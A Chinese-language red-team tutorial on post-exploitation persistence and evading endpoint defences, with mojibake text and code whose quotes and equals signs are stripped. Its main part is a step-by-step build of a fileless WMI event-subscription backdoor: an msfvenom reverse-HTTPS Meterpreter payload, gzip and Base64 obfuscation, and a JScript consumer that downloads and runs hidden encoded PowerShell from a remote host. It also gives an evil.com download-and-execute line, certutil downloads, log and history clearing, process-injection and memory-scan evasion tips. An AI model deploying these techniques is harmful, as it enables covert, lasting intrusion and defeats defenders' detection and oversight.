:WMI事件訂閱與無文件后門的隱蔽實(shí)現(xiàn)與防御繞過)
1. 項(xiàng)目概述從“入侵”到“扎根”的攻防博弈在滲透測試的實(shí)戰(zhàn)中拿到一個系統(tǒng)的初始訪問權(quán)限比如通過一個Web漏洞拿到了Webshell或者通過釣魚郵件在目標(biāo)主機(jī)上執(zhí)行了惡意代碼這往往只是萬里長征的第一步。很多新手會誤以為拿到權(quán)限就大功告成但現(xiàn)實(shí)是目標(biāo)系統(tǒng)上的安全軟件、管理員定期的日志審查、系統(tǒng)更新甚至重啟都可能讓你辛苦獲得的訪問通道瞬間消失。這就引出了后滲透測試中一個核心且極具技術(shù)含量的環(huán)節(jié)持久化。所謂持久化就是攻擊者為了維持對已入侵系統(tǒng)的長期、穩(wěn)定訪問而在系統(tǒng)中植入“后門”或“錨點(diǎn)”的一系列技術(shù)。而“12.3、后滲透測試--持久化后門的隱蔽實(shí)現(xiàn)與防御繞過”這個標(biāo)題精準(zhǔn)地指向了這個環(huán)節(jié)的最高階挑戰(zhàn)——不僅要實(shí)現(xiàn)持久化還要做到隱蔽并能夠繞過日益精密的現(xiàn)代防御體系。這絕不是一個簡單的“寫個文件、加個啟動項(xiàng)”就能解決的問題。它是一場在系統(tǒng)深處進(jìn)行的、靜默的貓鼠游戲。防守方藍(lán)隊(duì)擁有殺毒軟件、終端檢測與響應(yīng)系統(tǒng)、應(yīng)用白名單、行為監(jiān)控等層層防線而攻擊方紅隊(duì)則需要像特工一樣利用系統(tǒng)自身的機(jī)制和信任關(guān)系巧妙地隱藏自己的存在并確保在防守方毫無察覺的情況下隨時能夠重新建立連接。我經(jīng)歷過多次紅隊(duì)演練深刻體會到一個粗糙的持久化后門可能在幾分鐘內(nèi)就被清除并告警而一個精心設(shè)計(jì)的后門則可能潛伏數(shù)月甚至數(shù)年成為整個內(nèi)網(wǎng)滲透的穩(wěn)固支點(diǎn)。本文將基于實(shí)戰(zhàn)經(jīng)驗(yàn)深入拆解持久化后門的實(shí)現(xiàn)原理、隱蔽技巧以及對抗現(xiàn)代防御的策略希望能為安全研究人員和防御者提供有價值的攻防視角。2. 持久化后門的核心設(shè)計(jì)思路與方案選型持久化后門的設(shè)計(jì)本質(zhì)上是在尋找系統(tǒng)“信任鏈”上的薄弱環(huán)節(jié)并悄無聲息地嵌入其中。其核心思路可以概括為合法載體、最小擾動、動態(tài)恢復(fù)。我們不能創(chuàng)建一個全新的、可疑的系統(tǒng)服務(wù)或進(jìn)程而是應(yīng)該劫持或模仿一個系統(tǒng)本身就會信任和執(zhí)行的合法對象。同時我們的操作要盡可能少地留下直接證據(jù)如文件、注冊表鍵值并設(shè)計(jì)在連接中斷后能自動重建的機(jī)制。2.1 持久化位置的選擇從“顯眼”到“深藏”根據(jù)操作系統(tǒng)和權(quán)限的不同持久化的位置選擇策略差異巨大。以下是一個常見的選型思路對比持久化位置實(shí)現(xiàn)方式舉例優(yōu)點(diǎn)缺點(diǎn)及現(xiàn)代防御關(guān)注點(diǎn)隱蔽性評級啟動文件夾/注冊表Run鍵C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup或HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run實(shí)現(xiàn)簡單生效快極其容易被常規(guī)安全檢查發(fā)現(xiàn)是AV/EDR的重點(diǎn)監(jiān)控區(qū)域?!铩睢睢睢钣?jì)劃任務(wù)創(chuàng)建周期性或事件觸發(fā)如用戶登錄、系統(tǒng)空閑的任務(wù)。系統(tǒng)原生功能靈活性高可定時、定事件觸發(fā)。計(jì)劃任務(wù)列表容易被審查異常的任務(wù)名、作者、命令參數(shù)會暴露?!铩铩睢睢罘?wù)創(chuàng)建新的Windows服務(wù)或?qū)阂獯a注入到現(xiàn)有可信服務(wù)進(jìn)程中。權(quán)限高常為SYSTEM隨系統(tǒng)啟動存在感相對較低。創(chuàng)建新服務(wù)會留下服務(wù)名、描述、二進(jìn)制路徑等明顯痕跡。注入現(xiàn)有服務(wù)對技術(shù)要求高?!铩铩铩睢頦MI事件訂閱利用Windows Management Instrumentation訂閱特定系統(tǒng)事件如進(jìn)程創(chuàng)建、用戶登錄來觸發(fā)執(zhí)行。非常隱蔽普通管理工具難以查看屬于“無文件”持久化范疇。對攻擊者WMI知識要求高配置稍復(fù)雜。部分高級EDR已開始監(jiān)控WMI事件訂閱?!铩铩铩铩頒OM劫持劫持系統(tǒng)或應(yīng)用啟動時會加載的Component Object Model對象。利用系統(tǒng)固有加載機(jī)制無需額外文件或注冊表項(xiàng)隱蔽性極佳。尋找合適的劫持點(diǎn)需要深入研究不當(dāng)操作可能導(dǎo)致系統(tǒng)或應(yīng)用不穩(wěn)定?!铩铩铩铩钣诚窠俪中薷淖员鞩FEO在指定程序如記事本notepad.exe啟動時先運(yùn)行我們的后門。概念簡單能針對特定可信程序。注冊表路徑固定是安全軟件的重點(diǎn)掃描區(qū)域容易被檢測。★★☆☆☆啟動項(xiàng)/定時任務(wù)/etc/rc.local,crontab,systemd service,.bashrc,.profile等。方法多樣可利用系統(tǒng)或用戶級配置。文件位置固定是入侵檢測和文件完整性監(jiān)控的重點(diǎn)?!铩铩睢睢顒討B(tài)鏈接庫劫持利用DLL搜索順序劫持將惡意DLL置于合法應(yīng)用目錄或優(yōu)先搜索路徑。隱蔽性強(qiáng)可與合法應(yīng)用綁定。需要了解目標(biāo)應(yīng)用的DLL依賴并確保劫持的DLL能正常轉(zhuǎn)發(fā)函數(shù)調(diào)用?!铩铩铩睢顚?shí)操心得在實(shí)戰(zhàn)中我?guī)缀醪粫褂脝游募A或簡單的Run鍵。對于Windows目標(biāo)WMI事件訂閱和COM劫持是目前紅隊(duì)評估中隱蔽性首選。對于Linux則傾向于利用systemd的用戶服務(wù)~/.config/systemd/user/或者修改那些不常被檢查的配置文件如/etc/profile.d/下的自定義腳本。選型的關(guān)鍵在于“融入環(huán)境”你的后門行為越像系統(tǒng)正常行為存活時間就越長。2.2 后門載體的進(jìn)化從“文件”到“內(nèi)存”后門本身的形態(tài)也在不斷進(jìn)化以繞過基于文件的靜態(tài)掃描。傳統(tǒng)文件型后門一個獨(dú)立的可執(zhí)行文件EXE, DLL, Script。這是最容易被檢測的因?yàn)闅④浻旋嫶蟮奶卣鲙臁;煜?加殼型后門對文件型后門進(jìn)行代碼混淆、加密或加殼改變其靜態(tài)特征。但這只是第一道關(guān)卡行為分析依然可能將其捕獲。無文件后門這是當(dāng)前的主流趨勢。后門代碼不直接以文件形式落地磁盤而是存在于注冊表、WMI數(shù)據(jù)庫、服務(wù)配置、甚至直接注入到合法進(jìn)程的內(nèi)存中。例如將PowerShell腳本編碼后存儲在注冊表的一個鍵值里然后通過powershell -enc命令讀取執(zhí)行。內(nèi)存馬特指在Web場景下將惡意代碼注入到Web服務(wù)器進(jìn)程如Tomcat, IIS Worker Process的內(nèi)存中動態(tài)修改其處理邏輯從而接收惡意請求。它沒有對應(yīng)的文件重啟后失效但在運(yùn)行時極其隱蔽。合法工具濫用也稱為“Living-off-the-Land”。不攜帶任何惡意代碼而是純粹利用系統(tǒng)自帶的、可信的管理工具來執(zhí)行惡意操作。例如使用msbuild.exe加載內(nèi)嵌C#代碼的XML文件使用regsvr32.exe執(zhí)行遠(yuǎn)程腳本使用certutil.exe下載文件。因?yàn)槭褂玫氖恰鞍酌麊巍背绦蛩岳@過應(yīng)用白名單和靜態(tài)檢測的成功率很高。方案選型背后的邏輯現(xiàn)代EDR不僅看文件更看行為鏈。因此一個優(yōu)秀的持久化方案應(yīng)該是“無文件”或“白文件”載體 合法系統(tǒng)機(jī)制觸發(fā) 最小化惡意行為的組合。例如通過WMI事件訂閱在每天凌晨3點(diǎn)系統(tǒng)空閑時觸發(fā)powershell.exe從某個內(nèi)部合法的文件服務(wù)器或云存儲下載一段經(jīng)過混淆的腳本到內(nèi)存中執(zhí)行執(zhí)行完畢后清理所有臨時痕跡。這條鏈上WMI是系統(tǒng)管理功能PowerShell是系統(tǒng)管理員常用工具下載源是可信內(nèi)網(wǎng)地址惡意載荷僅在內(nèi)存中——這給防御者的檢測帶來了巨大挑戰(zhàn)。3. 核心細(xì)節(jié)解析隱蔽實(shí)現(xiàn)的關(guān)鍵技巧實(shí)現(xiàn)持久化不難難的是如何讓它“隱身”。下面拆解幾個關(guān)鍵環(huán)節(jié)的隱蔽技巧。3.1 載荷的隱蔽化處理載荷Payload就是你要執(zhí)行的后門代碼無論是反彈Shell、下載器還是C2代理都需要進(jìn)行處理。代碼混淆與加密目的繞過基于簽名的靜態(tài)殺毒掃描。方法對于腳本類PowerShell, VBS, JScript可以使用變量名混淆、字符串拆分加密、代碼編碼如Base64等方式。對于二進(jìn)制文件可以使用商業(yè)或開源的加殼工具如UPX但已被廣泛識別或者進(jìn)行自定義的異或加密、AES加密。示例PowerShell原始命令I(lǐng)EX (New-Object Net.WebClient).DownloadString(http://evil.com/shell.ps1)可以轉(zhuǎn)換為一段經(jīng)過多次編碼和拆分的復(fù)雜腳本最終通過-EncodedCommand參數(shù)執(zhí)行。注意事項(xiàng)過度復(fù)雜的混淆可能影響執(zhí)行穩(wěn)定性并且一些高級EDR具備動態(tài)去混淆能力。因此混淆是基礎(chǔ)但不是萬能。分離式加載目的將惡意代碼與加載器分離降低單個文件的嫌疑并方便更新惡意代碼。方法持久化點(diǎn)只存放一個極小的“加載器”。這個加載器的職責(zé)是從遠(yuǎn)程服務(wù)器、云存儲、甚至某個合法的內(nèi)部共享文件夾、注冊表鍵值、圖片的EXIF信息中讀取加密的惡意代碼解密后在內(nèi)存中執(zhí)行。優(yōu)勢加載器本身可以非常干凈甚至是一個毫無惡意的腳本。真正的惡意代碼在遠(yuǎn)端可以隨時更換避免了因載荷特征暴露而導(dǎo)致整個持久化失效。白名單程序加載目的利用系統(tǒng)可信進(jìn)程來“代理”執(zhí)行惡意操作繞過應(yīng)用白名單和進(jìn)程鏈分析。經(jīng)典案例MSBuild利用MSBuild引擎執(zhí)行內(nèi)嵌在.csproj文件中的C#代碼。InstallUtil.NET安裝工具可以執(zhí)行指定程序集中的安裝類代碼。Regsvr32注冊DLL的工具可以執(zhí)行遠(yuǎn)程或本地腳本文件.sct。Rundll32執(zhí)行DLL中的導(dǎo)出函數(shù)。Certutil證書工具但常被濫用于下載文件certutil -urlcache -split -f或編解碼。操作意圖這些程序都是微軟簽名、系統(tǒng)自帶、管理員常用工具。安全策略很難將它們?nèi)拷埂9粽咄ㄟ^構(gòu)造特定的命令行參數(shù)讓這些程序去執(zhí)行本不該由它們執(zhí)行的任務(wù)。3.2 觸發(fā)機(jī)制的隱蔽設(shè)計(jì)持久化后門不能一直運(yùn)行那樣太耗資源且容易被進(jìn)程監(jiān)控發(fā)現(xiàn)。理想的觸發(fā)機(jī)制是“按需啟動”或“低頻喚醒”?;谑录挠|發(fā)用戶登錄這是最傳統(tǒng)的但太頻繁??梢约?xì)化為“特定用戶登錄”或“非工作時間登錄”。網(wǎng)絡(luò)連接當(dāng)檢測到特定IP連接或連接到某個Wi-Fi時觸發(fā)。適合移動設(shè)備或特定環(huán)境下的設(shè)備。進(jìn)程創(chuàng)建當(dāng)某個高權(quán)限或可信進(jìn)程如svchost.exe,explorer.exe啟動時觸發(fā)。WMI非常擅長做這個。文件訪問當(dāng)某個不常被訪問的系統(tǒng)文件或日志文件被讀取時觸發(fā)。優(yōu)勢后門大部分時間處于休眠狀態(tài)只在滿足特定條件時才激活極大降低了被行為監(jiān)控發(fā)現(xiàn)的概率?;跁r間的觸發(fā)計(jì)劃任務(wù)可以設(shè)置為在系統(tǒng)空閑時間如凌晨2-4點(diǎn)、每月特定日期、或每幾周運(yùn)行一次。避免規(guī)律性的、高頻次的觸發(fā)。隨機(jī)延遲在觸發(fā)后后門代碼內(nèi)部可以加入隨機(jī)延遲Sleep使得每次運(yùn)行的時間點(diǎn)不固定避免基于時間的異常檢測。心跳與重連機(jī)制后門被觸發(fā)后應(yīng)首先嘗試連接控制端C2。如果連接失敗不應(yīng)進(jìn)行重試或僅進(jìn)行有限次、長時間間隔的重試然后自動退出。頻繁的重連嘗試會產(chǎn)生大量異常網(wǎng)絡(luò)流量容易被網(wǎng)絡(luò)IDS發(fā)現(xiàn)。一種更隱蔽的方式是“雙向通信”或“拉取模式”。后門不主動外連而是定期或事件觸發(fā)后去訪問一個合法的、受控的網(wǎng)址如某個博客的評論、某個云存儲的特定文件讀取指令??刂贫送ㄟ^更新那個網(wǎng)址的內(nèi)容來下達(dá)命令。這樣出站流量看起來只是普通的HTTPS訪問。3.3 痕跡清理與反取證一個專業(yè)的持久化后門不僅要考慮如何“進(jìn)”還要考慮如何“不留痕”。日志規(guī)避Windows嘗試清除或過濾Windows事件日志Security, System, Application中與自己相關(guān)的條目。例如通過wevtutil命令清除特定事件ID的日志。但注意直接清空整個日志通道是極其可疑的行為。Linux避免將輸出寫入標(biāo)準(zhǔn)輸出/錯誤使用nohup和重定向到/dev/null。對于bash_history可以設(shè)置HISTCONTROLignorespace并在命令前加空格或者直接臨時清空歷史文件。更高級的做法在代碼層面使用API掛鉤或內(nèi)存修改技術(shù)阻止日志記錄函數(shù)將特定事件寫入日志。這需要更高的權(quán)限和技術(shù)。文件系統(tǒng)痕跡臨時文件在使用后應(yīng)立即刪除。如果后門需要修改系統(tǒng)文件如劫持DLL應(yīng)備份原文件并在后門移除時恢復(fù)。修改時間Timestamp也應(yīng)盡可能偽裝成與原文件一致或系統(tǒng)更新時間。使用內(nèi)存文件系統(tǒng)如Windows的ramdiskLinux的/dev/shm來存放臨時載荷系統(tǒng)重啟后自動消失。網(wǎng)絡(luò)痕跡使用常見的、加密的協(xié)議如HTTPS進(jìn)行通信將流量偽裝成正常的Web瀏覽。Domain Fronting技術(shù)利用CDN服務(wù)如CloudFront, Azure Front Door來隱藏真實(shí)的C2服務(wù)器IP使流量看起來是發(fā)往大型可信域名。使用非標(biāo)準(zhǔn)端口或者將數(shù)據(jù)封裝在常見協(xié)議如DNS TXT記錄查詢、ICMP中進(jìn)行傳輸。4. 實(shí)操過程構(gòu)建一個隱蔽的WMI事件訂閱后門下面我將以一個相對隱蔽的Windows持久化方案——WMI事件訂閱為例展示從構(gòu)建到部署的完整實(shí)操流程。這個后門將在用戶登錄時觸發(fā)從遠(yuǎn)程加載加密的PowerShell載荷到內(nèi)存中執(zhí)行。4.1 環(huán)境準(zhǔn)備與工具選擇目標(biāo)環(huán)境Windows 10/11 或 Windows Server 2016已獲得管理員權(quán)限。攻擊機(jī)任意安裝有PowerShell的Windows或Linux系統(tǒng)用于生成載荷和部署。核心工具PowerShell主要操作工具。Windows自帶極具威力。msfvenom(Metasploit)用于生成加密的Payload。也可以使用Cobalt Strike等其他框架。一臺可控的Web服務(wù)器用于托管加密后的Payload。為了演示我們可以使用Python的http.server臨時搭建。注意以下所有操作均在授權(quán)的測試環(huán)境進(jìn)行。未經(jīng)授權(quán)對他人的系統(tǒng)進(jìn)行此類操作是違法行為。4.2 生成與處理Payload首先我們生成一個相對隱蔽的Payload。我們不直接生成可執(zhí)行文件而是生成一段PowerShell腳本并對其進(jìn)行混淆和加密。生成原始PowerShell載荷 使用msfvenom生成一個基于PowerShell的反彈Shell。這里假設(shè)我們的C2服務(wù)器IP是192.168.1.100端口是443。# 在攻擊機(jī)Kali Linux上執(zhí)行 msfvenom -p windows/x64/meterpreter/reverse_https LHOST192.168.1.100 LPORT443 -f psh-reflection -o raw.ps1生成的raw.ps1文件內(nèi)容是一大段包含[Byte[]]數(shù)組的PowerShell代碼特征非常明顯。對載荷進(jìn)行混淆和編碼 我們將使用PowerShell自帶的編碼和壓縮功能進(jìn)行處理。在攻擊機(jī)上使用PowerShell或Linux上的pwsh執(zhí)行以下腳本# 讀取原始載荷 $payload Get-Content -Path .\raw.ps1 -Raw # 將字符串壓縮并轉(zhuǎn)換為Base64編碼 $bytes [System.Text.Encoding]::Unicode.GetBytes($payload) $compressedStream New-Object System.IO.MemoryStream $gzipStream New-Object System.IO.Compression.GzipStream($compressedStream, [System.IO.Compression.CompressionMode]::Compress) $gzipStream.Write($bytes, 0, $bytes.Length) $gzipStream.Close() $compressedBytes $compressedStream.ToArray() $encodedPayload [Convert]::ToBase64String($compressedBytes) # 構(gòu)建最終的加載命令 $finalCommand $data[System.Convert]::FromBase64String($encodedPayload);$msNew-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$gzipNew-Object System.IO.Compression.GzipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$srNew-Object System.IO.StreamReader($gzip);$decoded$sr.ReadToEnd();Invoke-Expression $decoded # 再次對整條命令進(jìn)行Base64編碼以便通過-EncodedCommand執(zhí)行 $encodedCommand [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($finalCommand)) $encodedCommand | Out-File -FilePath encoded_payload.txt現(xiàn)在encoded_payload.txt里存放的就是經(jīng)過Gzip壓縮和雙重Base64編碼的Payload。它本身只是一串字符靜態(tài)掃描很難識別。托管Payload 將encoded_payload.txt的內(nèi)容上傳到你的Web服務(wù)器假設(shè)訪問地址為http://your-server.com/payload.txt。4.3 創(chuàng)建WMI事件訂閱現(xiàn)在我們在目標(biāo)機(jī)器上創(chuàng)建持久化機(jī)制。我們將訂閱Win32_ProcessStartTrace事件但為了降低頻率我們增加一個過濾器只關(guān)心explorer.exe進(jìn)程的啟動這通常意味著用戶交互登錄。創(chuàng)建事件過濾器定義我們關(guān)心的事件。這里我們過濾進(jìn)程名為explorer.exe的啟動事件。$FilterArgs { NameSpace root\subscription Name ExplorerStartFilter Query SELECT * FROM Win32_ProcessStartTrace WHERE ProcessNameexplorer.exe QueryLanguage WQL } $Filter Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs創(chuàng)建事件消費(fèi)者定義當(dāng)事件發(fā)生時做什么。我們將創(chuàng)建一個ActiveScriptEventConsumer它能夠執(zhí)行VBScript/JScript。這里我們用JScript來啟動PowerShell下載并執(zhí)行我們的Payload。# 構(gòu)造一個下載并執(zhí)行Payload的JScript命令 $PayloadURL http://your-server.com/payload.txt $Command var url $PayloadURL; var xhr new ActiveXObject(MSXML2.XMLHTTP.6.0); xhr.open(GET, url, false); xhr.send(); if (xhr.status 200) { var encodedCmd xhr.responseText; var shell new ActiveXObject(WScript.Shell); // 使用 -EncodedCommand 執(zhí)行Base64編碼的PowerShell命令 shell.Run(powershell.exe -WindowStyle Hidden -EncodedCommand encodedCmd, 0, false); } $ConsumerArgs { NameSpace root\subscription Name ExplorerStartConsumer ScriptingEngine JScript ScriptText $Command } $Consumer Set-WmiInstance -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs關(guān)鍵技巧使用-WindowStyle Hidden參數(shù)讓PowerShell窗口隱藏運(yùn)行。JScript是Windows原生支持的環(huán)境比直接調(diào)用PowerShell更低調(diào)。綁定過濾器與消費(fèi)者將兩者關(guān)聯(lián)起來。$BindingArgs { NameSpace root\subscription Filter $Filter Consumer $Consumer } $Binding Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs至此一個隱蔽的WMI事件訂閱后門就部署完成了。當(dāng)任何用戶登錄并啟動explorer.exe時系統(tǒng)會觸發(fā)我們的過濾器然后執(zhí)行消費(fèi)者中的JScript代碼。該代碼會從遠(yuǎn)程服務(wù)器下載加密的Payload并通過PowerShell在內(nèi)存中解碼執(zhí)行整個過程不落盤直接建立與C2的HTTPS連接。4.4 后門的維護(hù)與清理查看現(xiàn)有訂閱管理員可以通過Get-WmiObject -Namespace root\subscription -Class __EventFilter、__EventConsumer、__FilterToConsumerBinding來查看但默認(rèn)情況下這些信息并不在普通管理工具中顯示隱蔽性較強(qiáng)。清理后門需要按創(chuàng)建順序反向刪除。Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -like *ExplorerStartFilter*} | Remove-WmiObject Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object {$_.Name -eq ExplorerStartConsumer} | Remove-WmiObject Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq ExplorerStartFilter} | Remove-WmiObject5. 防御繞過對抗現(xiàn)代EDR與殺軟的策略即使實(shí)現(xiàn)了隱蔽持久化在后門運(yùn)行時仍可能被EDR的行為檢測引擎捕獲。因此我們需要了解并繞過這些防御。5.1 理解EDR的檢測層次現(xiàn)代EDR通常采用多層檢測靜態(tài)掃描檢查文件哈希、字符串特征、導(dǎo)入表、節(jié)區(qū)信息等。通過混淆、加密、使用白名單程序可有效繞過。行為監(jiān)控監(jiān)控進(jìn)程創(chuàng)建、網(wǎng)絡(luò)連接、文件操作、注冊表修改、內(nèi)存分配等API調(diào)用序列。這是主要的挑戰(zhàn)。內(nèi)存掃描直接掃描進(jìn)程內(nèi)存尋找已知惡意代碼的特征或異常內(nèi)存屬性如可寫可執(zhí)行的內(nèi)存頁。威脅情報(bào)與機(jī)器學(xué)習(xí)基于云端大數(shù)據(jù)和算法分析進(jìn)程行為鏈?zhǔn)欠癞惓!?.2 針對行為監(jiān)控的繞過技巧API間接調(diào)用與底層API問題直接調(diào)用CreateRemoteThread進(jìn)行進(jìn)程注入是EDR的重點(diǎn)監(jiān)控對象。繞過使用更底層的NTAPI如NtCreateThreadEx或者通過合法的回調(diào)機(jī)制如QueueUserAPC來執(zhí)行代碼。也可以利用SetThreadContext修改現(xiàn)有線程的執(zhí)行流。實(shí)操心得在編寫自定義后門時優(yōu)先從ntdll.dll中動態(tài)解析并調(diào)用NTAPI而不是使用Win32 API。許多EDR對Win32 API掛鉤更嚴(yán)密。進(jìn)程注入的隱蔽化進(jìn)程選擇不要注入到新創(chuàng)建的、可疑的進(jìn)程。選擇注入到擁有良好聲譽(yù)、且行為模式固定的系統(tǒng)進(jìn)程如svchost.exe,lsass.exe(需極高權(quán)限),explorer.exe。注意注入lsass.exe風(fēng)險極高極易觸發(fā)告警。注入時機(jī)在目標(biāo)進(jìn)程啟動時或執(zhí)行特定操作時注入而不是隨時注入。注入技術(shù)DLL劫持利用DLL搜索順序?qū)阂釪LL放在合法應(yīng)用目錄下。PE映像劫持修改注冊表IFEO但如前所述不夠隱蔽。COM劫持劫持進(jìn)程會加載的COM組件。Shim緩存利用應(yīng)用程序兼容性框架但需要管理員權(quán)限且操作復(fù)雜。推薦對于紅隊(duì)工具反射型DLL注入和進(jìn)程鏤空是相對常用的技術(shù)但它們本身也已被廣泛檢測。更高級的是模塊不落地注入將DLL文件本身也不寫入磁盤直接從內(nèi)存加載到目標(biāo)進(jìn)程。規(guī)避內(nèi)存掃描內(nèi)存加密僅在需要執(zhí)行時將代碼解密到內(nèi)存執(zhí)行完畢后立即加密或歸零。內(nèi)存屬性偽裝將存放Shellcode的內(nèi)存頁屬性從PAGE_EXECUTE_READWRITE改為PAGE_READWRITE執(zhí)行時再改回來執(zhí)行完再改回去。因?yàn)镽WX內(nèi)存是明顯的惡意特征。動態(tài)代碼生成在內(nèi)存中動態(tài)組裝指令而不是放置一塊完整的、特征明顯的Shellcode。5.3 針對網(wǎng)絡(luò)流量的隱蔽協(xié)議模仿HTTPS將所有C2通信封裝在HTTPS中并使用有效的、常見的域名和證書如申請免費(fèi)的Let‘s Encrypt證書或盜用目標(biāo)內(nèi)網(wǎng)可信網(wǎng)站的證書。自定義協(xié)議 over TLS在TLS隧道內(nèi)使用自定義的、模仿合法應(yīng)用如HTTP/2, WebSocket, MQTT的數(shù)據(jù)包格式。域名與基礎(chǔ)設(shè)施域名前置如前所述利用大型云服務(wù)商的CDN??焖倭髁壳袚Q使用動態(tài)DNS或準(zhǔn)備多個C2域名/IP在某個被阻斷后自動切換。云函數(shù)與合法服務(wù)將C2服務(wù)器邏輯部署在云函數(shù)上或?qū)⒅噶畲鎯υ贕itHub Gist、Pastebin、Twitter、Telegram等公開服務(wù)中后門定期去“拉取”指令。這大大降低了基礎(chǔ)設(shè)施的成本和暴露風(fēng)險。通信頻率與模式低頻心跳將心跳間隔設(shè)置為數(shù)小時甚至數(shù)天一次。隨機(jī)化心跳間隔、數(shù)據(jù)包大小、發(fā)送時間點(diǎn)加入隨機(jī)因子。任務(wù)化通信僅在需要執(zhí)行任務(wù)時由控制端發(fā)起通信通過上述“拉取”模式或推送通知服務(wù)平時保持完全靜默。6. 常見問題與排查技巧實(shí)錄在實(shí)現(xiàn)和對抗過程中會遇到各種各樣的問題。以下是一些常見坑點(diǎn)及解決方案。6.1 持久化失效問題排查問題現(xiàn)象可能原因排查思路與解決方案后門在重啟后未觸發(fā)1. 持久化位置權(quán)限不足。2. 觸發(fā)條件未滿足。3. 載荷下載或執(zhí)行失敗。1.檢查權(quán)限確保創(chuàng)建計(jì)劃任務(wù)、服務(wù)、WMI訂閱時使用的是足夠權(quán)限的賬戶如SYSTEM或高權(quán)限用戶。2.驗(yàn)證觸發(fā)手動模擬觸發(fā)條件如登錄、打開特定程序查看事件日志或使用Process Monitor監(jiān)控相關(guān)進(jìn)程是否啟動。3.測試載荷單獨(dú)運(yùn)行載荷加載器看是否能成功下載和執(zhí)行。檢查網(wǎng)絡(luò)連通性、URL可達(dá)性、殺軟攔截情況。后門觸發(fā)一次后不再工作1. 載荷執(zhí)行后進(jìn)程被終止。2. 網(wǎng)絡(luò)連接被阻斷。3. 觸發(fā)了EDR的清除動作。1.進(jìn)程守護(hù)在載荷代碼中實(shí)現(xiàn)進(jìn)程守護(hù)如果主進(jìn)程被結(jié)束則嘗試重新啟動。或使用互斥體確保單實(shí)例運(yùn)行。2.網(wǎng)絡(luò)重試實(shí)現(xiàn)指數(shù)退避算法的重連機(jī)制避免頻繁嘗試。3.日志分析檢查系統(tǒng)、安全、殺軟日志看是否有相關(guān)攔截記錄。嘗試使用更隱蔽的加載方式和通信模式。WMI事件訂閱創(chuàng)建成功但不執(zhí)行1. WMI服務(wù)被禁用或損壞。2. 消費(fèi)者腳本語法錯誤。3. 腳本執(zhí)行被策略限制。1.服務(wù)狀態(tài)檢查Winmgmt服務(wù)是否運(yùn)行。2.腳本調(diào)試將消費(fèi)者腳本內(nèi)容保存為單獨(dú)的.js文件手動執(zhí)行排查錯誤。3.執(zhí)行策略檢查系統(tǒng)是否禁止了腳本執(zhí)行如ActiveX。嘗試使用其他類型的消費(fèi)者如CommandLineEventConsumer但不夠隱蔽。6.2 被防御軟件檢測的應(yīng)對檢測場景典型告警信息繞過或緩解思路靜態(tài)文件掃描“檢測到特洛伊木馬Generic/Shellcode”1. 使用更強(qiáng)的混淆或加密甚至自定義加密算法。2. 徹底無文件化將代碼存儲在注冊表、WMI、環(huán)境變量或直接內(nèi)存注入。3. 使用白名單程序MSBuild, InstallUtil作為加載器。行為檢測進(jìn)程注入“可疑的進(jìn)程注入行為svchost.exe注入notepad.exe”1. 更換注入技術(shù)嘗試使用APC、SetThreadContext等。2. 更換注入目標(biāo)進(jìn)程選擇行為更復(fù)雜的進(jìn)程如msedge.exe瀏覽器進(jìn)程本身就會加載大量模塊和執(zhí)行腳本。3. 嘗試不使用注入而是通過COM、DLL劫持等方式讓目標(biāo)進(jìn)程主動加載你的代碼。網(wǎng)絡(luò)通信檢測“出站連接至可疑IP/域名”1. 使用域名前置技術(shù)。2. 將C2服務(wù)器部署在常見的云服務(wù)平臺AWS, Azure, GCP并使用該平臺的域名。3. 使用非標(biāo)準(zhǔn)端口或?qū)?shù)據(jù)封裝在DNS查詢中。內(nèi)存特征檢測“檢測到內(nèi)存中存在惡意代碼片段”1. 實(shí)現(xiàn)內(nèi)存加密僅運(yùn)行時解密。2. 使用進(jìn)程鏤空等技術(shù)將代碼放在內(nèi)存映射文件中而非典型的堆/棧內(nèi)存。3. 嘗試使用合法的、已簽名的驅(qū)動程序來執(zhí)行內(nèi)存操作繞過用戶態(tài)的監(jiān)控。6.3 操作中的經(jīng)驗(yàn)技巧測試環(huán)境先行任何新的持久化手法或繞過技術(shù)務(wù)必先在完全模擬生產(chǎn)環(huán)境的虛擬機(jī)或測試機(jī)上驗(yàn)證。使用Process Monitor, Procmon, Sysinternals Suite, Wireshark等工具觀察你的后門產(chǎn)生了哪些進(jìn)程、文件、注冊表、網(wǎng)絡(luò)操作。最小權(quán)限原則后門進(jìn)程盡量以當(dāng)前用戶權(quán)限運(yùn)行而非SYSTEM。除非必要不要請求過高權(quán)限因?yàn)樘貦?quán)操作更容易被監(jiān)控。保持低調(diào)后門活動時CPU、內(nèi)存、網(wǎng)絡(luò)占用要低。避免進(jìn)行大規(guī)模的文件遍歷、端口掃描等 noisy 操作。準(zhǔn)備備用通道不要只依賴一種持久化方式??梢栽谙到y(tǒng)中部署2-3個不同機(jī)制、不同觸發(fā)條件的后門形成一個冗余的“跳板網(wǎng)”。即使一個被清除其他的還能工作。清理痕跡在植入后門后有條件的話清理一下操作過程中產(chǎn)生的臨時文件、命令行歷史、以及可能被記錄下來的 PowerShell 腳本塊日志可通過Clear-History和設(shè)置$LogCommandHealthEvent $false等來緩解。持久化后門的隱蔽實(shí)現(xiàn)與防御繞過是一場持續(xù)的動態(tài)對抗。防守方的技術(shù)也在不斷進(jìn)步自動化威脅狩獵、UEBA用戶實(shí)體行為分析、網(wǎng)絡(luò)流量深度檢測等手段日益成熟。因此對于攻擊方而言最重要的是深入理解操作系統(tǒng)原理、安全軟件的檢測邏輯并不斷創(chuàng)新和變換手法。對于防御方而言則不能依賴單一的防護(hù)點(diǎn)需要建立縱深防御體系結(jié)合嚴(yán)格的基線配置、持續(xù)的行為監(jiān)控、及時的威脅情報(bào)和高效的應(yīng)急響應(yīng)流程才能有效發(fā)現(xiàn)和清除這些深藏不露的“釘子戶”。